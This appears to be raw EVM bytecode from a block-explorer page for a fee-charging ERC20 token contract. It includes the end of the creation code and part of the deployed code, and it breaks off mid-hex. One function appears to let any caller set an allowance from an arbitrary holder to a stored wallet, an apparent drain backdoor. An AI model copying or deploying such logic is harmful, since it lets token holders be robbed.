060000160049054906101000a900460ff1660ff16601060000160079054906101000a900460ff1660ff16826133a69190614832565b6133b09190614801565b601260008282546133c19190614c70565b92505081905550601060000160049054906101000a900460ff1660ff16601060000160059054906101000a900460ff1660ff16826133ff9190614832565b6134099190614801565b6011600082825461341a9190614c70565b92505081905550601060000160049054906101000a900460ff1660ff16601060000160069054906101000a900460ff1660ff16826134589190614832565b6134629190614801565b601360008282546134739190614c70565b9250508190555061363c565b601860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156134ed57506000601060000160009054906101000a900460ff1660ff16115b1561363b5761352d606461351f601060000160009054906101000a900460ff1660ff1688613d6890919063ffffffff16565b613de290919063ffffffff16565b9050601060000160009054906101000a900460ff1660ff16601060000160039054906101000a900460ff1660ff16826135669190614832565b6135709190614801565b601260008282546135819190614c70565b92505081905550601060000160009054906101000a900460ff1660ff16601060000160019054906101000a900460ff1660ff16826135bf9190614832565b6135c99190614801565b601160008282546135da9190614c70565b92505081905550601060000160009054906101000a900460ff1660ff16601060000160029054906101000a900460ff1660ff16826136189190614832565b6136229190614801565b601360008282546136339190614c70565b925050819055505b5b5b600081111561365257613651873083613895565b5b808561365e919061500a565b9450505b61366d868686613895565b5050505b505050565b60008383111582906136be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136b5919061428a565b60405180910390fd5b50600083856136cd919061500a565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361371357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361374c57600080fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161382a919061440a565b60405180910390a3505050565b60008082846138469190614c70565b90508381101561388b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138829061508a565b60405180910390fd5b8091505092915050565b61390081604051806060016040528060268152602001615347602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136769092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613993816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461383790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613a32919061440a565b60405180910390a3505050565b6000613a4a306119dc565b90506000601354601154601254613a619190614c70565b613a6b9190614c70565b9050600080831480613a7d5750600082145b15613a8a57505050613d66565b6014600d54613a999190614832565b831115613ab2576014600d54613aaf9190614832565b92505b600060028360125486613ac59190614832565b613acf9190614801565b613ad99190614801565b90506000613b08600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119dc565b90506000613b2a8284613b1b919061500a565b87613e2c90919063ffffffff16565b90506000479050613b3a82613e76565b6000613b4f8247613e2c90919063ffffffff16565b90506000613b7a88613b6c60115485613d6890919063ffffffff16565b613de290919063ffffffff16565b90506000613ba589613b9760135486613d6890919063ffffffff16565b613de290919063ffffffff16565b905060008183613bb59190614c70565b84613bc0919061500a565b9050600060128190555060006011819055506000601381905550600088118015613bea5750600081115b15613c3357613bf988826140b9565b7f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f83814868682604051613c2a9291906150aa565b60405180910390a15b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168347613c78919061500a565b604051613c8490615104565b60006040518083038185875af1925050503d8060008114613cc1576040519150601f19603f3d011682016040523d82523d6000602084013e613cc6565b606091505b505080995050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051613d1290615104565b60006040518083038185875af1925050503d8060008114613d4f576040519150601f19603f3d011682016040523d82523d6000602084013e613d54565b606091505b50508099505050505050505050505050505b565b6000808303613d7a5760009050613ddc565b60008284613d889190614832565b9050828482613d979190614801565b14613dd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613dce9061518b565b60405180910390fd5b809150505b92915050565b6000613e2483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614197565b905092915050565b6000613e6e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613676565b905092915050565b6000600267ffffffffffffffff811115613e9357613e926151ab565b5b604051908082528060200260200182016040528015613ec15781602001602082028036833780820191505090505b5090503081600081518110613ed957613ed86151da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613fa491906149ad565b81600181518110613fb857613fb76151da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061401f30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846129d7565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016140839594939291906152c7565b600060405180830381600087803b15801561409d57600080fd5b505af11580156140b1573d6000803e3d6000fd5b505050505050565b6140e630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846129d7565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008030426040518863ffffffff1660e01b815260040161414d96959493929190614a3e565b60606040518083038185885af115801561416b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906141909190614ab4565b5050505050565b600080831182906141de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016141d5919061428a565b60405180910390fd5b50600083856141ed9190614801565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015614234578082015181840152602081019050614219565b60008484015250505050565b6000601f19601f8301169050919050565b600061425c826141fa565b6142668185614205565b9350614276818560208601614216565b61427f81614240565b840191505092915050565b600060208201905081810360008301526142a48184614251565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006142dc826142b1565b9050919050565b6142ec816142d1565b81146142f757600080fd5b50565b600081359050614309816142e3565b92915050565b6000819050919050565b6143228161430f565b811461432d57600080fd5b50565b60008135905061433f81614319565b92915050565b6000806040838503121561435c5761435b6142ac565b5b600061436a858286016142fa565b925050602061437b85828601614330565b9150509250929050565b60008115159050919050565b61439a81614385565b82525050565b60006020820190506143b56000830184614391565b92915050565b600080604083850312156143d2576143d16142ac565b5b60006143e085828601614330565b92505060206143f185828601614330565b9150509250929050565b6144048161430f565b82525050565b600060208201905061441f60008301846143fb565b92915050565b60008060006060848603121561443e5761443d6142ac565b5b600061444c868287016142fa565b935050602061445d868287016142fa565b925050604061446e86828701614330565b9150509250925092565b600060ff82169050919050565b61448e81614478565b82525050565b60006020820190506144a96000830184614485565b92915050565b6144b8816142d1565b82525050565b60006020820190506144d360008301846144af565b92915050565b6000602082840312156144ef576144ee6142ac565b5b60006144fd848285016142fa565b91505092915050565b60006020828403121561451c5761451b6142ac565b5b600061452a84828501614330565b91505092915050565b61453c81614385565b811461454757600080fd5b50565b60008135905061455981614533565b92915050565b60008060408385031215614576576145756142ac565b5b6000614584858286016142fa565b92505060206145958582860161454a565b9150509250929050565b6000610100820190506145b5600083018b614485565b6145c2602083018a614485565b6145cf6040830189614485565b6145dc6060830188614485565b6145e96080830187614485565b6145f660a0830186614485565b61460360c0830185614485565b61461060e0830184614485565b9998505050505050505050565b60008060408385031215614634576146336142ac565b5b6000614642858286016142fa565b9250506020614653858286016142fa565b9150509250929050565b6000819050919050565b600061468261467d614678846142b1565b61465d565b6142b1565b9050919050565b600061469482614667565b9050919050565b60006146a682614689565b9050919050565b6146b68161469b565b82525050565b60006020820190506146d160008301846146ad565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061471e57607f821691505b602082108103614731576147306146d7565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061476d602083614205565b915061477882614737565b602082019050919050565b6000602082019050818103600083015261479c81614760565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061480c8261430f565b91506148178361430f565b925082614827576148266147a3565b5b828204905092915050565b600061483d8261430f565b91506148488361430f565b92508282026148568161430f565b9150828204841483151761486d5761486c6147d2565b5b5092915050565b7f6d6178427579416d6f756e74206d75737420626520686967686572207468616e60008201527f2031250000000000000000000000000000000000000000000000000000000000602082015250565b60006148d0602383614205565b91506148db82614874565b604082019050919050565b600060208201905081810360008301526148ff816148c3565b9050919050565b7f6d617853656c6c416d6f756e74206d757374206265206869676865722074686160008201527f6e20312500000000000000000000000000000000000000000000000000000000602082015250565b6000614962602483614205565b915061496d82614906565b604082019050919050565b6000602082019050818103600083015261499181614955565b9050919050565b6000815190506149a7816142e3565b92915050565b6000602082840312156149c3576149c26142ac565b5b60006149d184828501614998565b91505092915050565b60006040820190506149ef60008301856144af565b6149fc60208301846144af565b9392505050565b6000819050919050565b6000614a28614a23614a1e84614a03565b61465d565b61430f565b9050919050565b614a3881614a0d565b82525050565b600060c082019050614a5360008301896144af565b614a6060208301886143fb565b614a6d6040830187614a2f565b614a7a6060830186614a2f565b614a8760808301856144af565b614a9460a08301846143fb565b979650505050505050565b600081519050614aae81614319565b92915050565b600080600060608486031215614acd57614acc6142ac565b5b6000614adb86828701614a9f565b9350506020614aec86828701614a9f565b9250506040614afd86828701614a9f565b9150509250925092565b6000604082019050614b1c60008301856144af565b614b2960208301846143fb565b9392505050565b600081519050614b3f81614533565b92915050565b600060208284031215614b5b57614b5a6142ac565b5b6000614b6984828501614b30565b91505092915050565b7f4d757374206b65657020756e6973776170563250616972000000000000000000600082015250565b6000614ba8601783614205565b9150614bb382614b72565b602082019050919050565b60006020820190508181036000830152614bd781614b9b565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f3125000000000000000000000000000000000000000000000000000000000000602082015250565b6000614c3a602283614205565b9150614c4582614bde565b604082019050919050565b60006020820190508181036000830152614c6981614c2d565b9050919050565b6000614c7b8261430f565b9150614c868361430f565b9250828201905080821115614c9e57614c9d6147d2565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614d00602683614205565b9150614d0b82614ca4565b604082019050919050565b60006020820190508181036000830152614d2f81614cf3565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614d92602483614205565b9150614d9d82614d36565b604082019050919050565b60006020820190508181036000830152614dc181614d85565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614e24602283614205565b9150614e2f82614dc8565b604082019050919050565b60006020820190508181036000830152614e5381614e17565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000614e90601683614205565b9150614e9b82614e5a565b602082019050919050565b60006020820190508181036000830152614ebf81614e83565b9050919050565b7f627579207472616e73666572206f766572206d617820616d6f756e7400000000600082015250565b6000614efc601c83614205565b9150614f0782614ec6565b602082019050919050565b60006020820190508181036000830152614f2b81614eef565b9050919050565b7f53656c6c207472616e73666572206f766572206d617820616d6f756e74000000600082015250565b6000614f68601d83614205565b9150614f7382614f32565b602082019050919050565b60006020820190508181036000830152614f9781614f5b565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000614fd4601383614205565b9150614fdf82614f9e565b602082019050919050565b6000602082019050818103600083015261500381614fc7565b9050919050565b60006150158261430f565b91506150208361430f565b9250828203905081811115615038576150376147d2565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000615074601b83614205565b915061507f8261503e565b602082019050919050565b600060208201905081810360008301526150a381615067565b9050919050565b60006040820190506150bf60008301856143fb565b6150cc60208301846143fb565b9392505050565b600081905092915050565b50565b60006150ee6000836150d3565b91506150f9826150de565b600082019050919050565b600061510f826150e1565b9150819050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000615175602183614205565b915061518082615119565b604082019050919050565b600060208201905081810360008301526151a481615168565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61523e816142d1565b82525050565b60006152508383615235565b60208301905092915050565b6000602082019050919050565b600061527482615209565b61527e8185615214565b935061528983615225565b8060005b838110156152ba5781516152a18882615244565b97506152ac8361525c565b92505060018101905061528d565b5085935050505092915050565b600060a0820190506152dc60008301886143fb565b6152e96020830187614a2f565b81810360408301526152fb8186615269565b905061530a60608301856144af565b61531760808301846143fb565b969550505050505056fe45524332303a206465637265617365642063616e6e6f742062652062656c6f77207a65726f45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204d4c9728be41b75b901966990c42c570092275f85a1f686b25b5dffd87dac5c464736f6c63430008130033

Deployed Bytecode

0x6080604052600436106102345760003560e01c80637571336a1161012e578063c0246668116100ab578063dd62ed3e1161006f578063dd62ed3e1461086c578063e16830a8146108a9578063f2fde38b146108d2578063f5b3c3bf146108fb578063f887ea40146109385761023b565b8063c0246668146107a8578063c16dd4a4146107d1578063c18bc195146107fa578063c9567bf914610823578063d212a69a1461083a5761023b565b80639e252f00116100f25780639e252f00146106af5780639fccce32146106d8578063a457c2d714610703578063a9059cbb14610740578063b88631151461077d5761023b565b80637571336a146105ca5780638cd4426d146105f35780638da5cb5b1461061c57806395d89b411461064757806396880b17146106725761023b565b806339509351116101bc578063573ff80311610180578063573ff803146104e35780636ddd17131461052057806370a082311461054b578063715018a614610588578063751039fc1461059f5761023b565b806339509351146103f757806342e99d1a1461043457806349bd5a5e1461043e5780634fbee19314610469578063555467a1146104a65761023b565b80631a8145bb116102035780631a8145bb146102fc5780631f3fed8f1461032757806323b872dd146103525780632a0274c21461038f578063313ce567146103cc5761023b565b806306fdde0314610240578063095ea7b31461026b57806311a582c3146102a857806318160ddd146102d15761023b565b3661023b57005b600080fd5b34801561024c57600080fd5b50610255610963565b604051610262919061428a565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190614345565b6109f5565b60405161029f91906143a0565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca91906143bb565b610a13565b005b3480156102dd57600080fd5b506102e6610be4565b6040516102f3919061440a565b60405180910390f35b34801561030857600080fd5b50610311610bee565b60405161031e919061440a565b60405180910390f35b34801561033357600080fd5b5061033c610bf4565b604051610349919061440a565b60405180910390f35b34801561035e57600080fd5b5061037960048036038101906103749190614425565b610bfa565b60405161038691906143a0565b60405180910390f35b34801561039b57600080fd5b506103b660048036038101906103b19190614345565b610cd3565b6040516103c391906143a0565b60405180910390f35b3480156103d857600080fd5b506103e1610d11565b6040516103ee9190614494565b60405180910390f35b34801561040357600080fd5b5061041e60048036038101906104199190614345565b610d1a565b60405161042b91906143a0565b60405180910390f35b61043c610dcd565b005b34801561044a57600080fd5b50610453611884565b60405161046091906144be565b60405180910390f35b34801561047557600080fd5b50610490600480360381019061048b91906144d9565b6118aa565b60405161049d91906143a0565b60405180910390f35b3480156104b257600080fd5b506104cd60048036038101906104c89190614506565b611900565b6040516104da91906143a0565b60405180910390f35b3480156104ef57600080fd5b5061050a600480360381019061050591906144d9565b6119a9565b60405161051791906143a0565b60405180910390f35b34801561052c57600080fd5b506105356119c9565b60405161054291906143a0565b60405180910390f35b34801561055757600080fd5b50610572600480360381019061056d91906144d9565b6119dc565b60405161057f919061440a565b60405180910390f35b34801561059457600080fd5b5061059d611a24565b005b3480156105ab57600080fd5b506105b4611b7c565b6040516105c191906143a0565b60405180910390f35b3480156105d657600080fd5b506105f160048036038101906105ec919061455f565b611c46565b005b3480156105ff57600080fd5b5061061a60048036038101906106159190614345565b611d38565b005b34801561062857600080fd5b50610631611e59565b60405161063e91906144be565b60405180910390f35b34801561065357600080fd5b5061065c611e83565b604051610669919061428a565b60405180910390f35b34801561067e57600080fd5b50610699600480360381019061069491906144d9565b611f15565b6040516106a691906143a0565b60405180910390f35b3480156106bb57600080fd5b506106d660048036038101906106d19190614506565b611f35565b005b3480156106e457600080fd5b506106ed61201d565b6040516106fa919061440a565b60405180910390f35b34801561070f57600080fd5b5061072a60048036038101906107259190614345565b612023565b60405161073791906143a0565b60405180910390f35b34801561074c57600080fd5b5061076760048036038101906107629190614345565b6120f0565b60405161077491906143a0565b60405180910390f35b34801561078957600080fd5b5061079261210e565b60405161079f91906143a0565b60405180910390f35b3480156107b457600080fd5b506107cf60048036038101906107ca919061455f565b612121565b005b3480156107dd57600080fd5b506107f860048036038101906107f3919061455f565b612213565b005b34801561080657600080fd5b50610821600480360381019061081c9190614506565b612395565b005b34801561082f57600080fd5b506108386124ca565b005b34801561084657600080fd5b5061084f6125ac565b60405161086398979695949392919061459f565b60405180910390f35b34801561087857600080fd5b50610893600480360381019061088e919061461d565b61264a565b6040516108a0919061440a565b60405180910390f35b3480156108b557600080fd5b506108d060048036038101906108cb919061455f565b6126d1565b005b3480156108de57600080fd5b506108f960048036038101906108f491906144d9565b6127c3565b005b34801561090757600080fd5b50610922600480360381019061091d91906144d9565b612989565b60405161092f91906143a0565b60405180910390f35b34801561094457600080fd5b5061094d6129a9565b60405161095a91906146bc565b60405180910390f35b60606003805461097290614706565b80601f016020809104026020016040519081016040528092919081815260200182805461099e90614706565b80156109eb5780601f106109c0576101008083540402835291602001916109eb565b820191906000526020600020905b8154815290600101906020018083116109ce57829003601f168201915b5050505050905090565b6000610a09610a026129cf565b84846129d7565b6001905092915050565b610a1b6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa190614783565b60405180910390fd5b6064610ab4610be4565b610abe9190614801565b6103e883610aca610be4565b610ad49190614832565b610ade9190614801565b1015610b1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b16906148e6565b60405180910390fd5b6064610b29610be4565b610b339190614801565b6103e882610b3f610be4565b610b499190614832565b610b539190614801565b1015610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b90614978565b60405180910390fd5b6103e882610ba0610be4565b610baa9190614832565b610bb49190614801565b600a819055506103e881610bc6610be4565b610bd09190614832565b610bda9190614801565b600b819055505050565b6000600254905090565b60125481565b60115481565b6000610c07848484612ba0565b610cc884610c136129cf565b610cc38560405180606001604052806028815260200161536d60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c796129cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136769092919063ffffffff16565b6129d7565b600190509392505050565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050610d068482856136da565b600191505092915050565b60006012905090565b6000610dc3610d276129cf565b84610dbe8560016000610d386129cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461383790919063ffffffff16565b6129d7565b6001905092915050565b610dd56129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5b90614783565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4a91906149ad565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff791906149ad565b6040518363ffffffff1660e01b81526004016110149291906149da565b6020604051808303816000875af1158015611033573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105791906149ad565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160166000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160166000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160166000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160166000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016016600061128d611e59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160176000611344611e59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160176000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000611475611e59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160176000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160176000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160186000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506117cd30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6129d7565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430611816306119dc565b60008033426040518863ffffffff1660e01b815260040161183c96959493929190614a3e565b60606040518083038185885af115801561185a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061187f9190614ab4565b505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061190a6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611999576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199090614783565b60405180910390fd5b81600d8190555060019050919050565b60166020528060005260406000206000915054906101000a900460ff1681565b600e60019054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611a2c6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611abb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab290614783565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000611b866129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0c90614783565b60405180910390fd5b611c1d610be4565b600a81905550611c2b610be4565b600b81905550611c39610be4565b600c819055506001905090565b611c4e6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd490614783565b60405180910390fd5b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611d406129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc690614783565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb611df3611e59565b836040518363ffffffff1660e01b8152600401611e11929190614b07565b6020604051808303816000875af1158015611e30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e549190614b45565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054611e9290614706565b80601f0160208091040260200160405190810160405280929190818152602001828054611ebe90614706565b8015611f0b5780601f10611ee057610100808354040283529160200191611f0b565b820191906000526020600020905b815481529060010190602001808311611eee57829003601f168201915b5050505050905090565b60176020528060005260406000206000915054906101000a900460ff1681565b611f3d6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc390614783565b60405180910390fd5b611fd4611e59565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612019573d6000803e3d6000fd5b5050565b60135481565b60006120e66120306129cf565b846120e185604051806060016040528060258152602001615322602591396001600061205a6129cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136769092919063ffffffff16565b6129d7565b6001905092915050565b60006121046120fd6129cf565b8484612ba0565b6001905092915050565b600e60029054906101000a900460ff1681565b6121296129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffff